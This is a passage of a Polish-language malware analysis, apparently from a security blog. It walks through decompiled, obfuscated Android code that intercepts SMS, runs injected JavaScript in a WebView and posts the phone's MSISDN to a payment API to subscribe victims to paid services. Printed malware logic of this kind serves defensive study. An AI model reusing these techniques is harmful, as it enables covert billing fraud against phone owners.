            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stringExtra&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;stringExtra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stringExtra&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;stringExtra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stringExtra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Telephony&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Sms&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultSmsPackage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0037TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f75WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ap&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;C0022TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;addSmsFromBroadcast:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stringExtra&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;C0037TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stringExtra&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Następnie aplikacja inicjuje &lt;code&gt;webView&lt;/code&gt;(&lt;code&gt;C0028LfUtNUXX&lt;/code&gt;) z włączoną obsługą JavaScript, i inicjuje połączenie do URL strony z subskrypcją z wcześniej pobranej listy. W kolejnym kroku wykonuje JavaScript w celu interakcji ze stroną, co automatyzuje cały proces i pozwala zasubskrybować daną stronę bez interakcji z użytkownikiem:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0055MdATElAc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;C0056LfUtNUXX&lt;/span&gt; &lt;span class="n"&gt;c0056LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f57TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f105TXbyafmq&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;runJs-&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c0056LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f113WYOdgBxH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c0056LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f110LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f58WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;evaluateJavascript&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c0056LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f110LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0023WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BRgPASkR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f59fhuPPCBW&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;JavaScript jest wykonywany w kontekście WebView, powodując wywołanie metody call(&lt;code&gt;C0023WYOdgBxH.BRgPASkR == "window.JBridge.call('dump', document.documentElement.outerHTML);"&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; &lt;span class="nd"&gt;@JavascriptInterface&lt;/span&gt;
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;C0028LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;JBridge-Exception:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0028LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f57TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eJbwVqlc&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0023WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;KWHgxmAB&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// (str.equals(&amp;quot;dump&amp;quot;))&lt;/span&gt;
                &lt;span class="n"&gt;C0052BdnLopBC&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;C0028LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f57TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W tym momencie analizy widzimy, że malware jest już w stanie automatyzować interakcje ze stroną subskrypcji oraz przechwytywać i zapisywać wiadomości SMS. Ostatnim krokiem jest finalna interakcja ze stronami w celu zasubskrybowania. Dzieje się to w obrębie funkcji &lt;code&gt;LfUtNUXX(String str)&lt;/code&gt;. Funkcja najpierw próbuje pobrać &lt;code&gt;MSISDN&lt;/code&gt; (ang. Mobile Station International Subscriber Directory Number) z zapisanych parametrów:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;C0022TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;api2/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;C0006TXbyafmq&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0005LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2_url:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f17LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f17LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f17LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2_t1:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2_t2:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2_prod:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2_msisdn:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;C0055MdATElAc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;C0056LfUtNUXX&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pl_protocol&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isDigitsOnly&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f110LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f110LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Pobiera parametr o nazwie „pl_protocol” z kontekstu&lt;/li&gt;
&lt;li&gt;Sprawdza, czy wartość parametru składa się tylko z cyfr (prawidłowy numer telefonu komórkowego).&lt;/li&gt;
&lt;li&gt;Zwraca &lt;code&gt;MSISDN&lt;/code&gt;, jeśli jest dostępny; w przeciwnym razie zwraca pusty ciąg znaków.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Następnie szkodliwa aplikacja wysyła żądanie transakcji przy użyciu uzyskanego &lt;code&gt;MSISDN&lt;/code&gt; i reszty wymaganych danych, takich jak &lt;code&gt;TransactionId&lt;/code&gt; (są one przekazywane przez C&amp;amp;C, co zostało pokazane w poprzednich krokach analizy):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;https://epayment.teleaudio.pl/api2/typeundef_&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/direct/proceed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;{\&amp;quot;TransactionId\&amp;quot;:\&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;\&amp;quot;,\&amp;quot;Msisdn\&amp;quot;:\&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;\&amp;quot;,\&amp;quot;Carrier\&amp;quot;:\&amp;quot;U\&amp;quot;,\&amp;quot;Consents\&amp;quot;:null,\&amp;quot;Connection\&amp;quot;:\&amp;quot;typeundef\&amp;quot;}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f51LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Bearer &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4_s5_url:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4_s5_data:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f52WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
